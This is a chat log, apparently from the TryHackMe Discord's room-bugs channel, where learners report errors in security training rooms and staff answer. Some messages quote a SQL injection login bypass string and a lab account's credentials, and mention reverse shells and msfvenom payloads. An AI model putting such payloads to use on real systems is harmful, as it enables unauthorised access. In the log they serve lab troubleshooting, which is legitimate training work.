• High level members will receive rewards in the near future. 🎁

[obsidian kiln]

... Pardon?

If that's an attempt at a spam raid, it's gotta be the worst I've seen :kekw:

[short mulch]

hi, I'm currently working through the File Inclusion room for the JR Pentesting Path and I am on Task 8 trying to submit flag 3. I've found the flag, but it's telling me the answer is wrong, and I've seen a few others in the forums have the same issue. Was wondering if there were any known fixes?

[thin crater]

team

not able to connect to target machine

Task 6 Privilege Escalation: Sudo

connection error

[strong kelp]

Typo in https://tryhackme.com/room/dockerrodeo

[stuck stirrup]

thanks, good eye. fixed 🙂

[livid escarp]

Gave +1 Rep to @strong kelp

[fading glacier]

In the room: dogcat i cant open the website, the nmap only give me the port 22 open

[ornate anchor]

In gamezone the first SQLi is missing terminator.
Should be:
' or 1=1; --

[dusky oriole]

room/introtoshells: Task 7
question 2 accepts "socat TCP:<IP>...." when it should only accept "socat OPENSSL:<IP>...."

[obsidian kiln]

That's a site answer tolerance thing I'm afraid

[wheat fractal]

Hmmmm maybe I'm thinking about this wrong but one of the questions in the burp-suite intruder seems a little off?

Should this not be 3 positions by the 100 possibilities ?

Answer gets 3 digits but surely it should be 100^3 which would be 1000000 no ?

Maybe its not a bug but just checking.

[obsidian kiln]

No. With Sniper:
requests = numberOfWords * numberOfPositions
It will go through every word and put it into each position once, ignoring the two other positions

[wheat fractal]

Coolio thanks for that I retract my previous 😄

Lol also it would have to be the guy who wrote it who shoots me down 🤣 thanks @obsidian kiln

[river timber]

Hey there. In the ‘Protocols and Servers’ room, Task 6 (POP3), the second question asks about messages available via IMAP even though that isn’t covered until the next section in Task 7. Was it meant to be messages available via POP3? Attaching screenshot with answers and such removed to demonstrate.

[slow inlet]

How do I report a bug?

hello?

[civic knoll]

There is currently a bug in the room nax for the metasploit directory I checked a writeup to confirm.

[obsidian kiln]

If it's a site bug #site-bugs, if it's a room bug, #room-bugs, if it's a security bug: [e-mail] 🙂

[slow inlet]

There are errors in the "How Websites Work" modules in Answer the following questions: Which term best describes the side on which your browser displays a website? answer: Front end. But the platform says it is wrong.

[glad badger]

The answer was changed after the video was recorded. 🙂

Still, the answer can be found in the task content. 🥳

[slow inlet]

video?

[slow inlet]

answer is front end

[glad badger]

What is another term for front-end?

[slow inlet]

but the question refers to the browser term

is front end

[glad badger]

Read the question again.

[slow inlet]

What term best describes the side your browser renders a website

is front end

the question does not say who.

[glad badger]

"describes the side"

[slow inlet]

What TERM best describes the side your browser renders a website? Answer is Front end. Because it speaks of the term, and not of who (client)

[slow inlet]

anyway thanks TIM

[livid escarp]

Gave +1 Rep to @glad badger

[forest shuttle]

Hello

For Windows priv esc in jr pentester credentials are not provided for the machines

To ssh or rdp into

[timber pond]

In Regular expressions, Task 5, Q.1, the answer format is missing 1 *

first part of answer is "^Password:" which is 9 * , while the answer format says its only 8 *

this confused me so much

[covert nymph]

ummm

so in the NAX room it seems that i cannot submit the right answer which is: || exploit/linux/http/nagios_xi_authenticated_rce ||

it keeps saying wrong incorrect answer but after saying eff it and went through a walk through to see if it was really right way of going through it and what do ya know its the right answer so why is it telling me its wrong?

[spice thicket]

🪲

oh no! A bug!

[vital pine]

There isn't a bug but in NoSQL room a comma is missing.

Idk if it is important

[regal tulip]

safari Version 15.0 didnt allow me to complete some tasks and it is laggy, for exmaple i tried to complete the "view site" task but it wont work or would take time

i switched to chrome

its not a network error, my wifi is working fine. its an error in safari

[rapid hawk]

Look through the later tasks. Its in one of them

[forest shuttle]

oh ok

[glad badger]

If I may ask, which room were you working on when you encountered an issue in Safari 15?

[shy cipher]

can anyone explain this error?

I need user ntlm hash but only getting the administrator one

It is last metasploit room of junior pentester path

[wheat fractal]

I don't know where else to put it, but in room https://tryhackme.com/room/vulnerabilitycapstone
Task 2, last question, the hint says "You will need to setup a netcat reverse listener to gain access to the shell." but it's not always true: the exploit 47138 on EDB can be slightly modified to not need a reverse shell.

[dusky junco]

Noted, I'll update the hint @wheat fractal

"Some exploits will require you to setup a netcat reverse listener to gain access to the shell"

[wheat fractal]

Yup that seems nice, feels like less of a honeypot haha. Have a nice day!

[dusky junco]

😄

Updated

Thanks for reporting. And you too (:

[sonic willow]

room: https://tryhackme.com/room/activerecon
task: 3

checking whether a remote system is online is the same as checking you have network connectivity to the remote system, is it not?

In other words, initially, this was used to check network connectivity; however, we are more interested in its different uses: checking whether the remote system is online.

same task

the last bullet point is covered by bullet point 2

[regal tulip]

even tho i changed it to computer 3 yesterday and clicked send packet it didnt work at all

until i switched to chrome and it worked

there is bug within safari

[obsidian kiln]

No. It's the same syntax, but you could already know that there's routing setup but not know if it's awake.

[glad badger]

Thank you for reporting. We'll investigate this. It does work on Chrome, so I'd advise to use Chrome for now. 🙂

[sonic willow]

i understand that thought, but imo "network connectivity" implies that you can connect (ping in this case) over the network

[obsidian kiln]

It's definitely two very similar uses

[sonic willow]

fair

[sonic willow]

room: https://tryhackme.com/room/metasploitintro
task: 4

the Metasploit command prompt terminal block didn't work

[errant hollow]

This box is broke, i know how it sounds and you might think i might be doing something wrong(i have checking a walkthrough to a 'T') and this box is just broken
https://tryhackme.com/room/kuberneteschalltdi2020
it was working just fine but it just broke somehow and just refuses connection now even when using the file provided by the room

[dusky junco]

Good morning, it sounds like that machine might need some more resources assigning to it. I will check what it currently has, and see what I can do (:

[near compass]

Hello
I think the room Upload vulns https://tryhackme.com/room/uploadvulns has a bug

I got an Error 405 Message: Method Not Allowed when trying to access to the website with all the config done

[obsidian kiln]

Do you have an anonymising VPN running alongside your THM VPN?

That box hasn't changed in a long time (like, well over a year) -- there hasn't been an opportunity for the box itself to break, so it's either the VPN or something at your end

[near compass]

NO

I still have the same issue when working directly on the AttackBox

[obsidian kiln]

Just checking it now

[obsidian kiln]

What's the IP for your deployed machine?

The one in the screenshot isn't even active

[near compass]

I confirm that a few month ago when I started that room there were no issues

I also set up the AttackBox directly to work with it but I am still having the same issue

[near compass]

I just deployed a new one 10.10.195.9

[obsidian kiln]

Now this is interesting. I can replicate the 405 in your box, but not in the one I deployed from the backend. That might be a resource thing, although how, I do not know

One sec

[near compass]

Do you mean that you deployed a box but not getting a 405 error but from mine you are getting it ?

[obsidian kiln]

Yep

Try it with 10.10.252.87

That won't expire, so I'm not leaving it up, but it demonstrates

I gave it more resources than the one in the room gets, which is why I'm thinking it might be a resource thing

This is the wrong box

What the heck

[near compass]

It's working now

[obsidian kiln]

Yes, it will work with that. I deployed it myself

[near compass]

OK. Thanks

I will closed that room with it.

[livid escarp]

Gave +1 Rep to @obsidian kiln

[obsidian kiln]

Are you sure that 10.10.195.9 is attached to Upload Vulns?

Can you screenshot the box at the top of the room?

[near compass]

Yes

[obsidian kiln]

I'm killing it in a minute because it's a manually deployed box that doesn't expire -- I just started that to test

[near compass]

OK

[obsidian kiln]

Oh, I know what you're doing

[near compass]

I don't understand, please

[obsidian kiln]

You're trying to connect to the AttackBox

That's why you're getting a 405 -- it's a websocket thing

Also why RDP is open...

10.10.195.9 is the AttackBox IP

[near compass]

Ohhhh I start to understand

[obsidian kiln]

In your screenshot here you haven't actually started the machine in the room

Click the green "start machine" button

[near compass]

I just did it

@obsidian kiln it's OK now
I hadn't differentiated the AttackBox from the Room machine.

Thank you

[livid escarp]

Gave +1 Rep to @obsidian kiln

[obsidian kiln]

Np 🙂

[eternal summit]

Usually 405 means they're entering the IP of an attackbox.

Ah you got to that

[cloud edge]

Were can i post this question ?

[eternal summit]

This isn't a bug.
Why can't you upload another version?

[cloud edge]

Thank you for reply , i posted it on site-bugs and got a respond.
I fixed it .

[livid escarp]

Gave +1 Rep to @eternal summit

[pearl chasm]

I may have found a potential typo in the room Pre Security > Network Fundamentals > Extending Your Network > Firewalls 101. The Hint for Question 1 "What layers of the OSI model do firewalls operate at?" is a bit confusing. It says:

Provide the layers, replacing the following "x" and "y" with the appropriate layer in descending order (i.e. 1,2): Layer x,Layer y

However, both the correct answer and the example show numbers in ascending order. 😅

I would post screenshot but I seem unable to do so.

[wheat fractal]

i think this question cant get answer .. i try do all thing
can any one check and tell me
https://tryhackme.com/room/rpburpsuite

[obsidian kiln]

That room is not maintained 🙂

[wheat fractal]

I can't answer the question and this make i can't get certified for this path "complete bigneer "

And I get answer form searching in Google from two website and when answer tell me is not correct

• no code return 200 all return 501

[rugged canyon]

would you accept just getting the answer sent to you in a dm.... strongly dislike doing it this way but if restarting the target did not fix the issue then yeah maybe that is the way to go

@wheat fractal ⬆️

[wheat fractal]

I've been trying to solve the problem since 8 hours ago and I will sleep now and will try again to solve

[rugged canyon]

just ping shadow if you want the answer as shadow has the correct answer saved as they completed that room about a month ago or so

[wheat fractal]

But I want to make sure that the question is correct

[rugged canyon]

otherwise keep going and trying to get it yourself

yeah one of the inputs should work with a code 200... if you disabled the http encoding thingies

anyway same here time for sleeps

[wheat fractal]

Thank you for your help and I will try again to solve

[timber pond]

https://tryhackme.com/room/bpnetworking

decimal to binary - task 3

i mistyped and it accepted the wrong answer as correct

9 bit binary

[eternal summit]

That's just answer tolerance

[pearl chasm]

https://tryhackme.com/room/puttingitalltogether > "Other Components"

You'll come across some common databases: MySQL, MSSQL, MongoDB, GraphQL, Postgres

GraphQL is not a database 😄
Source: https://www.howtographql.com/advanced/5-common-questions/

[sonic willow]

room: https://tryhackme.com/room/avengers
task: 4

the MACHINE_IP for some reason is display as an html tag

the popover also isn't working, presumably because of the link (href)

[sonic willow]

room: https://tryhackme.com/room/avengers
task: 6

' 1=1 should be ' OR 1=1 all all instances

[glass charm]

Not sure if its a bug or not but a few rooms now I've seen are blooded by the creators or come out already blooded. Sometimes this is a 1k of points or higher in difference. Is this meant to be like this? I imagined the score was cleared when they come out.

[eternal summit]

Usually it's an issue with caching and that's not the case on the backend

[fast prawn]

lmfao

https://tryhackme.com/room/fortress

there's the /data, readable by all users

containing a setup script, which has password hashes for the users and flags for user.txt and root.txt

it's password protected and asks for a password but you can just cat the output to see it

[strong kelp]

Typo in https://tryhackme.com/room/sysmon

[fast prawn]

https://i.imgur.com/Yl8tzhq.png

https://i.imgur.com/rymDzto.png

might want to uncomment those lines

https://i.imgur.com/2W89vjq.png

atleast it's pw protected

[tacit elm]

Room bugged or am I bugged: https://imgur.com/a/5h0vEMz?

-?

[fast prawn]

Which room is that

[tacit elm]

Linux Fundamentals Part 1

Ill get a new screen the one i presented is terrible

Think i figured it out there is a machine in that room Im guessing i shoud use, my bad! I was the bugg.

It was me who was the bugg it works now. Embracing.

[teal barn]

https://tryhackme.com/room/nahamstore

-sql_two
+sqli_two

@rain thicket

weird nobody reported this one in 268 days

[rigid cargo]

https://tryhackme.com/room/rpnessusredux Task4, last question:
What Apache HTTP Server Version is reported by Nessus? Nessus reports 2.4.25, however the only answer that seems to work is 2.4.99.

[weak orbit]

rootme is broken

[eternal summit]

Please elaborate.

[strong kelp]

In https://tryhackme.com/room/sysmon is this step, but there is no file with that name.

[somber wasp]

HI!
I have this message [!] This exploit may require manual cleanup of '%TEMP%\LVCJth.vbs' on the target on steel mountain room
I already restart the box but nothing change 😦

[eternal summit]

That's not a bug.
That is a warning, and tells you you might need to remove it for forensics purposes, covering your tracks.
If you need help with the room, #room-hints or #room-help

[terse tinsel]

I would like to say even though I expect this to be ignored, using 192.168.100.x in Holo is a bad choice, that network range is used in DOCSIS / Cable modem standards. Many modems/routers will assign themselves there, and it can't be turned off.
Reference: https://www.cablelabs.com/wp-content/uploads/2015/08/CM-SP-OSSIv3.0-I05-071206.pdf or google.

[eternal summit]

Why would that be a bad choice?
You're pivoting.
Add the correct routes and you're fine

[twin tapir]

That’s not the network range. Have you actually looked at the lab? That’s just a docker network you never directly access it

[sonic willow]

room: https://tryhackme.com/room/hackernote
task: 3

i know this room is old, but the code here can't be read very easily cc @eternal summit

[eternal summit]

Yo wtf

THM breaking my room smh

[eternal summit]

Can you DM me this please?

[eternal summit]

❤️ Fixed

[fair rain]

Hey i guess i found a bug in https://tryhackme.com/room/fileinc task 5 i cant submit my awnser for the first one ("
Give Lab #3 a try to read /etc/passwd. What is the request look like?")

[hazy tiger]

Does it say “uh oh undefined?” @fair rain

[fair rain]

it say nothing

[hazy tiger]

Do you use bitdefender?

[fair rain]

no

[hazy tiger]

Do you have any anti virus?

[fair rain]

no

all other task are working

only this one not

[hazy tiger]

Have you tried refreshing your page?

[fair rain]

ofcourse

[hazy tiger]

Right click, press “inspect element”, then select the tab called “console”, try to enter the answer and see if any errors appear

[fair rain]

when i press the submit button i receive "POST https://tryhackme.com/api/fileinc/answer net::ERR_CONNECTION_RESET" and when i write the awnser in th console i get "Uncaught SyntaxError: Unexpected token '.'"

[hazy tiger]

Do you have another device that you can try submitting the answer on, such as a mobile phone?

[fair rain]

on my mobile phone it worked

thank you very much

[steady bloom]

Hello, on the yara room, task 9

there is a python error on the Loki tool

So the tool doesn't work and we can't do the task

[dusky junco]

I think you need to call it python3

Or two try both 😄

[steady bloom]

I think not

[dusky junco]

Mhm okay

I’ll take a look at this today. Thanks

[steady bloom]

thanks 🙂

[dusky junco]

What task are you on?

Ah I see

Ignore me 😄

[uncut prairie]

I tried yesterday USTOUN, but the same problem still exists. Port 1433 is not open. I even waited for almost an hour in case it would open later.

[wintry tartan]

I wonder if that was a correct - https://tryhackme.com/room/contentdiscovery TASK 12

[eternal summit]

Answer tolerance!

[wintry tartan]

Mah Gawd!

[rigid cargo]

https://tryhackme.com/room/mitre Task 5, Mitre Shield is now Engage. None of the links work as expected. Some of the questions, like the one about DTE0011 don't make sense since it's been merged into EAC0005

[charred summit]

Hope this is the right place, and apologies if it's a known issue. On the kubernetes TDI 2020 box, I'm just getting a connection refused message with the credentials and config file provided, and nmap doesn't find anything on port 6443. (Or any port apart from 22). I've given it 30+ minutes to start while watching the video. If anyone can confirm if it's a problem with the box, I'd appreciate it, as I really need to improve my understanding and this looks like a very good lesson.

[fallow storm]

I think the network services room is broken all of the pictures dont show up, not a big deal but I really don't know what I'm missing out on

[sonic willow]

room: https://tryhackme.com/room/activerecon
task: 6

You can find a recording of the process below.

there is no video

room: https://tryhackme.com/room/nmap01
task: 2

in the current simulation, a broadcast from computer1 repeats the packet back to computer1 which is incorrect, a broadcast doesn't repeat out the same port that it came in on

room: https://tryhackme.com/room/nmap01
task: 3

there's an extra .13 in these IPs

[sonic willow]

room: https://tryhackme.com/room/nmap01
task: 5

port-scanning should be ping-scanning where underlined

[faint vigil]

hey guys, found a dead link within one of your tutorial rooms "google dorking"
https://tryhackme.com/room/googledorking

http://googledorking.cmnatic.co.uk/ <- deadlink

have a nice day everybody!

cheers

[eternal summit]

@dusky junco

[strong kelp]

typo in https://tryhackme.com/room/hololive

[rough mortar]

Hello, experiencing the same here with the Kubernetes TDI 2020 box (https://tryhackme.com/room/kuberneteschalltdi2020). Trying out kubectl commands using the kubeconfig file just returns Connection refused messages at port 6443. Not sure if it's a known issue or maybe I'm just missing something 😅 Could anyone kindly confirm? Would appreciate any response

[wind wraith]

Hi @glad badger , has the Yara room (https://tryhackme.com/room/yara), task 11 question 6 been fixed? The question is:
"Back to Valhalla, inspect the Info for this rule. Under Statistics what was the highest rule match per month in the last 2 years? (YYYY/M)". Valhalla only shows 2 years of history, and the room is now 484 days old. I tried two different "YYYY/M" values from the current statistics and neither were accepted.

[hexed yarrow]

It let me enter the answer with .eve instead of .exe

Not sure if this counts as bug. But it shouldn't let me do that.

Windows Fundamentals 2 Task 3

[wheat fractal]

Hi, I don't know if its a bug or if i'm doing something wrong here, but on the anonymous box, i can't take reverse shell, I'm pretty confident I did everything right, i saw some writeups and they did the same but nothing. Any help?

[sonic rover]

Nah, Thats just the error margin for typos

[hexed yarrow]

Ahh... okay 🙂

[sonic rover]

@wheat fractal Might be better posting in #room-help

[wheat fractal]

thank you, will do

[livid escarp]

Gave +1 Rep to @sonic rover

[wheat fractal]

Hi. Please can you repare the room "zero logon". I am trying to access it it is not possible. The page is broken AGAIN. It does not load.

[wheat fractal]

Will the room "zero logon" be repaired?

[eternal summit]

This is not a bug with the room, this is a site bug.
The room does not need repairing. Report it in #site-bugs

[sonic willow]

room: https://tryhackme.com/room/linprivesc
task: 2

it's -> its

[wheat fractal]

i alwasy when using tryhackme

its machines dont accept port 22

[wind wraith]

Which rooms/machines do you mean? There's no guarantee that target machines accept ssh connections at all. You may try the #room-help or #room-hints channels for help on a specific room.

[astral fern]

Hello guys, in network services room , task 4: Exploiting SMB. The picture is not loaded, could you guys fix it?

[midnight junco]

There may be a bug in the NMAP live host discovery room. I am answering the questions correctly (I've even checked my answers looking up cheat sheets on the internet to confirm my answers) and it's not accepting them. Can I post the answers I am putting in and at least have someone confirm if there's something obvious that I'm missing?

nm, reloaded pages and answers now work

[steady bloom]

Hello, in the room https://tryhackme.com/room/xssgi, task 7

Every payload failed, even the payload in the demo

[wheat fractal]

LinPrivesc Room; Task: Privilege Escalation: Cron Jobs:
Question: How many cron jobs can you see on the target system?

It is either question is phrased wrongly (how many non-default cron jobs?) or it a mistake in answer.
Correct answer should be 8 since there are 4 defaults (run-parts & anacron) & 4 created by the user. But in Room currently correct answer appears to be ||4|| ?

[proper geode]

Hi there, are the KotH points also contributing to the monthly scores?

[hazy tiger]

They do not, no

KOTH points are only for that one KOTH game

[atomic anchor]

In overpass 1 there is a issue when using attack box, or this could be an attackbox problem

||Due to privesc requiring modification to an ip and not being allowed to supply port numbers, it requires really strange work arounds

This wouldn’t be an issue usually, but the attack box is by default using port 80 for something||

[eternal summit]

Correct.
This is not a room bug though. This is an attackbox bug.
You can SSH into the attackbox and kill the service on port 80.

[atomic anchor]

My solution was to just download the ovpn pack and quickly host and call to that but I guess I learnt something new

[tiny ginkgo]

Room: https://tryhackme.com/room/pentestingfundamentals
Issue: The index should be 6 instead of 7

[crystal adder]

Complete the advent or cyber 2 form but I didn't receive the last flag

[split mulch]

https://tryhackme.com/room/activedirectorybasics|
Is this a bug? Pretty sure it should be correct

[rugged canyon]

your answer is wrong... @split mulch

it is close though but not correct

read the question more closely again and then read the list of users and groups

[split mulch]

Ohh,dammit, my bad 😄
Thanks @rugged canyon!

[livid escarp]

Gave +1 Rep to @rugged canyon

[rugged canyon]

no problem.... hope that was a good learning experience

[split mulch]

Overall experience is great, if we are not looking at some fails such as this 😄

[hazy tiger]

Hey!
BTW, if an answer says it's incorrect, try avoid spamming just in-case our anti-cheat detection kicks in and blocks you from answering questions:)

Not sure what triggers it but just in-case^^

[icy holly]

Hello everyone,

not sure if this is a bug but on the complete beginner room Nmap task 14 is asking for number of open|filtered ports, when running the command on the attack box the number of open|filtered ports is 997 which is giving me an incorrect answer

[split mulch]

Alright, thanks for letting me know 😉

[livid escarp]

Gave +1 Rep to @hazy tiger

[misty cave]

trying to load up http://10.10.169.100:3000 from https://tryhackme.com/room/25daysofchristmas seems to hang, but i can ping it just fine. Service might need restarting perhaps?

my python script for it gets timeouts too

[shy widget]

Its not precisely a bug but it is against the 15 minute "rule".
In the Room Mr Robot Ct, the Elliot's password in fsocity.dic is almost near the end of the file.
My poor wooden PC even with -t 50 was unable to find it even after 3 hours.
As a #suggestion please put it a little higher.

[obsidian kiln]

cc @glad badger

[wheat fractal]

OWASP Juice Shop room, Task 6, Question 3 "Remove all 5-star reviews!" - the page is not showing any five star reviews. Instead you delete a four-star review and it gives you the flag anyway. Not a major bug but thought i'd mention it here as it could confuse some people.

[merry nacelle]

could you explain more your tip ?

[eternal summit]

Not really, unless you say what you are finding unclear.

[merry nacelle]

i don't know how can i use ssh to solve this problem of port 80 already used

i never did ssh tunneling, that is the method to use ?

[eternal summit]

No. No tunnelling.

You SSH into the attackbox to get a command line.
You use this command line to kill the process running on port 80.
You then use the command line to complete the room.

[merry nacelle]

if i kill the process running on port 80, THM will crash

[hazy tiger]

No, it will kill the VNC

Hence why you SSH

[eternal summit]

THM does not crash.
You lose access to the remote desktop.
You still have access over SSH, which is the whole point.

[merry nacelle]

if VNC crash i don't have any access to either SSH nor attackbox

i don't use openvpn

[eternal summit]

Then you might need to

[eternal summit]

It's SSH on the attackbox. If you're a subscriber, the attackbox has a public IP

[shadow crescent]

is anyone else struggling to launch an attack box? Mine was fine all day but now I cannot get it to connect

[dusky oriole]

I have the same issue. server ping's, but I can't talk to it with python/telnet

[humble sluice]

I wasn't sure where to post this since it's not really a bug, but in the OWASP juice shop on task 4 question 2, the last sentence of the first paragraph it says Jame T. Kirk instead of James. Not a gamebreaker, just me being nitpicky.

[clear remnant]

Hello. I joined USTOUN room today and after I found some stuff, I completely stuck. So I started checking up Write-Ups. In the write-ups, everyone mentiones a mssql port which I couldn't find. I already restart the machine twice but it still doesn't show up. Anybody have any ideas?

[eternal summit]

@glad badger I think this might have lost the resource boost

[obsidian kiln]

Again

[river timber]

Ahoy there. In the Windows Fundamentals 1 room - Task 2, the first sentence of the second paragraph appears to not have a proper ending to it, “Windows XP was a popular version of Windows and had a long-running.”

Also, later in that same task it is mentioned, “Then arrived Windows 10, which is the current Windows operating system…” That may want to be updated to Windows 11 as the upgrades role out.

[split patio]

#Alfred
Task 3 last question
The root.txt flag is not in the config directory, I have also tried searching for it in the whole filesystem. Anyone have had the same problem?

[eternal summit]

The room tells you to migrate, you absolutely must do that otherwise Windows pretends the flag does not exist.

[twin tapir]

We don’t claim Windows 11.

[split patio]

Thanks for that clarification. I was trying to do the room without Metasploit. Is there a way to migrate without Metasploit?

[livid escarp]

Gave +1 Rep to @eternal summit

[eternal summit]

There is.
Probably not useful here.

[delicate sun]

thanx man .

[brazen island]

Many rooms that use web applications use fonts.googleapis.com. These fonts cannot be loaded because there is no internet connection and therefore the page takes a very long time to load. Is there a solution for this?

[zenith mortar]

LazyAdmin room [https://tryhackme.com/room/lazyadmin], was it intended to already have msfvenom payload there in specific .sh ?

same, but if you do nmap without -p- it will show 2

try -sV

[livid escarp]

Gave +1 Rep to @zenith mortar

[obsidian kiln]

If it's in the AttackBox, put this into /etc/hosts:
127.0.0.1 fonts.googleapis.com

It will still error out, but it won't take long to do it.

[brazen island]

Thanks, that is a nice solution

[livid escarp]

Gave +1 Rep to @obsidian kiln

[obsidian kiln]

Np

[obtuse musk]

Hi there 🙂
In the new Password Attacking room (Task 2), the last sentence is missing a word. "Once passwords are obtained, the attacker can password attacks techniques to crack these encrypted or hashed passwords using various tools." Probably 'utilize' or so 🙂 (https://tryhackme.com/room/passwordattacks)

In the same room, at the beginning of Task 3: "targetted" is written with just one "t".

[obtuse musk]

Task 3, first text block, The headline should be "Customized Wordlists". And in the last sentence, it should be "..which may be used.."

Also, the first sentence in the second block is missing an "a". Maybe someone can read through that room again 🙂

[obsidian kiln]

@glad badger, that's an internally devved one 🙂

I'm fixing those problems because I already have it up, but it might be a good idea to go through the thing and have Yasir sort anything else 🙂

@obtuse muskSorted those problems -- keep 'em coming if you find any more 🙂

[obtuse musk]

Same room, same task, the fist part of each of these two blocks have a lighter form. Meaning they are thinner.

[dense garnet]

How the absolute f*ck did you notice that?!?!

[obtuse musk]

¯_(ツ)_/¯ and a bit of magic

[dense garnet]

room-bugbounty

[obtuse musk]

Oh, fo sho... lol

The same applies a bit further down:

[obtuse musk]

The 'a' in front of 'crunch' in the last sentence is too much.

Task 4, a bit further down, the "that" should be "and".

[obtuse musk]

Task 6, just under the first picture, the sentence should say, "We can see that we have many rules that are available for us to use.".

[stuck stirrup]

fixed this and the above. thanks

[livid escarp]

Gave +1 Rep to @obtuse musk

[midnight junco]

In the advent of cyber room the linkedin link just goes to imgur

https://tryhackme.com/room/adventofcyber3

[dusky junco]

I have fixed this tyty

[torpid crow]

Anyone else getting a 502 on file inclusion?

[storm needle]

The new "Password Attacks" room. Task 9's question hint should be "month + year + special character" not "season + year + special character" (I believe after completing the room)

[obsidian kiln]

What password did you get?

(Preferably in a spoiler tag, but I can delete anyway)

[storm needle]

I think this is how you do it but ||November2021!||

[obsidian kiln]

That got you logged in?

If so then yeah, the hint is wrong.

[storm needle]

It did yes ||pittman:November2021!|| is in my notes

[obsidian kiln]

@glad badger ^^
Either way that question ain't gonna be doable in a month, Tim, given it's asking for the current season (well, actually month but the hint is wrong), and, uh, I doubt Yasir intends to update the box and question every month.
Unless there is an autogen in play, in which case kudos, but, if experience is anything to go by I somewhat doubt that. :)

[wary cedar]

Hello. I found a bug in Windows Fundamentals 2. In "change UAC settings" my answer had typo but still was accepted. I have a picture of this, but can't share it here. Where can I send it? Or you just want me to describe my answer?

[obsidian kiln]

Verify to send pictures :)

!docs verify

[tropic flame]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[wary cedar]

Thank you for information 🙂
This is the picture of the bug

[livid escarp]

Gave +1 Rep to @obsidian kiln

[wary cedar]

As you can see, there is a typo in answer. It should be settings not settingd, but this answer still was accepted

[obtuse musk]

Hi there 🙂
In the Password Attack room (https://tryhackme.com/room/passwordattacks) Task 9, just under the last picture before RDP, there's a typo in the sentence: It says "Sprint2021" (with a t ) instead of "Spring2021" (with a g ).

[obsidian kiln]

That is answer tolerance -- it's just part of the site :)

[dense garnet]

There is another issue related though, if you press enter to submit an answer and then spam your keyboard it gets submitted as part of the answer even if the answer tolerance doesn’t apply

But this is site wide

[wary cedar]

Ok, so never mind 🙂

[obtuse musk]

In the new Advent of Cyber room, Task 5, second sentence below the comic, there's an "r" missing at the end of the word Office (Chief Information Security Officer) https://tryhackme.com/room/adventofcyber3

[obsidian kiln]

@obtuse muskMate, if they don't hire you for the QA team at this point, they're missing out 😆

[outer moat]

Hi, linuxfundamentalspart1 task7 ... correct is with one > but I accidently send echo password123 >> passwords .. and THM said correct answer (sorry, I can´t add atachment, or do not know how 🙂 )

[obtuse musk]

Hi 🙂
I guess it counts as tolerance...

[outer moat]

I try partly incorrect answers for a few others, and I guess you're right 😅 .. Ok, nevermind 😄

Thank you 🙂

[obtuse musk]

they already got my CV. So...

[obsidian kiln]

Aha, niceeee

[obtuse musk]

Also, in the last sentence, Advent of Cyber room (https://tryhackme.com/room/adventofcyber3), Task 5, the word Christmas is missing the second "s" at the end.

[dusky junco]

resolved tyty

[analog moth]

There are three users to login to the system. One of them is set to followed with the hint. The hint is not wrong.

[analog moth]

Fixed, thank you @obtuse musk

[livid escarp]

Gave +1 Rep to @obtuse musk

[obsidian kiln]

I'll take your word on that one 🤷‍♂️
Is the answer going to need manually updated each season?

[analog moth]

No update at this point.

[stuck stirrup]

@storm needle hints not wrong. there's 3 users with different passwords. pittman (month+year+spec char), burgess (season+year+spec char), and phillips(company+year+spec char).

[obsidian kiln]

The hint should probably specify the user that applies to, or give the others as options.
Again, those are also all going to go out of date very quickly if there isn't an autogen in place.

[storm needle]

Please pm the season + year + special character if you wouldn’t mind.. just because I let it run on every season, the years 2000 up to 2023 and with 15 different special characters and didn’t get a hit 😄

[wheat fractal]

In "Common Linux Privesc" room, Task 8, question 4 - there is "cosmetic bug" as the msfvenom command contain one unnecessary "R" at the end. It doesn't effect the command

[kindred jungle]

I seem to be having this same problem, no internet connection

i am subbed

ah its not loading the message. its the blaster room

[hot bison]

In Jr Penetration Tester Path - File Inclusion - Local File Inclusion - LFI # 2 - Question: Give Lab # 3 a try to read /etc/passwd. What is the request look like? I cannot submit my answer

[hot bison]

I am trying to submit my answer but it won’t submit

[thorny fjord]

Hi Team...in Password attacks Task 2...i think there is an error in the explanation....It states ''''we will discuss the techniques that could be used to perform password attacks. We will cover various techniques such as a dictionary, brute-force, rule-base, and guessing attacks. All the above techniques are considered active 'online' attacks where the attacker needs to communicate with the target machine to obtain the password in order to gain unauthorized access to the machine'''''''....does it mean that dictionary, brute-force, rule based and guessing are active online attacks since the tasks post this categorizes them as offline password attacks

[twilit forge]

In Principles of Security, Task 4 Question 1 - The asterisk which are input into the Answer Format section are incorrect.
This is what is currently there: '*** ************** *****'
But what is needed is: '*** ******* ****** *****'
The answer has a space in the second portion of asterisk, which is required in the answer to get it correct and the hint does not reveal this. Without this space, either the user will not get it right (despite knowing the answer) or will have to guess at different formats until it is accepted.

The same thing goes for the same room, Task 4 Question 3. You can copy and paste the answer, but the formatting is still incorrect.

[gleaming shadow]

It may be expecting a different character and the space is the answer tolerance acting

[obtuse musk]

Almost resolved 🙂
#room-bugs message

[twilit forge]

I tested it and the answer uses a space.

[gleaming shadow]

naw it's lookign for a -

refresh the page, it's the answer tolerance

[sullen edge]

In Web Enumeration room task 9 question 2 states; "WPScan says that this theme is out of date, what does it suggest is the number of the latest version?"
Answer states it should be "2.0", but the real answer should be 2.1 as the theme was updated on 2021-07-22.

[midnight junco]

in https://tryhackme.com/room/metasploitexploitation, task 6, I believe there is a typo in the instructions for this question. I don't think it's supposed to list the vulnerable machine address, rather the IP address of the attackbox.

[eternal summit]

It's not

You're copying the binary from your attackbox/own machine to the target

[midnight junco]

Correct.

I'm hosting the file on 10.10.113.55

It's listing the IP of the vulnerable box

on the vulnerable box, you go to the IP address where you are hosting the file

the vulnerable box is 10.10.139.48

plus, I don't think it should say ATTACKING_(ipaddress) anyway

[cold haven]

2 images loaded over http at https://tryhackme.com/room/attacktivedirectory (in Task 1)
I accept bitcoins

[earnest yoke]

On Nax (https://tryhackme.com/room/nax) Task 1 question 8 "What is the full path (starting with exploit) for the exploitation module?" seems to be broken. Even when copy&pasting the complete module path from any of the attached write-ups, I am getting "Uh-oh! Your answer is incorrect."

Searching through this Discord, the issue seems to be around for at least 8 months, now O.o

[dry blade]

is a new exploit in the recent versions of metasploit, try msf6 > search CVE-NUMBER 😉

[earnest yoke]

I'm using the provided attack box which is still running on msf5

and msfupdate results in an error

a tad bit disappointing, IMHO

[dry blade]

don't possible update msf in the attack box @dusky junco ?

[earnest yoke]

Nope. Neither via msfupdate, nor apt

root@ip-10-10-24-92:~# msfupdate 
[*]
[*] Attempting to update the Metasploit Framework...
[*]

Traceback (most recent call last):
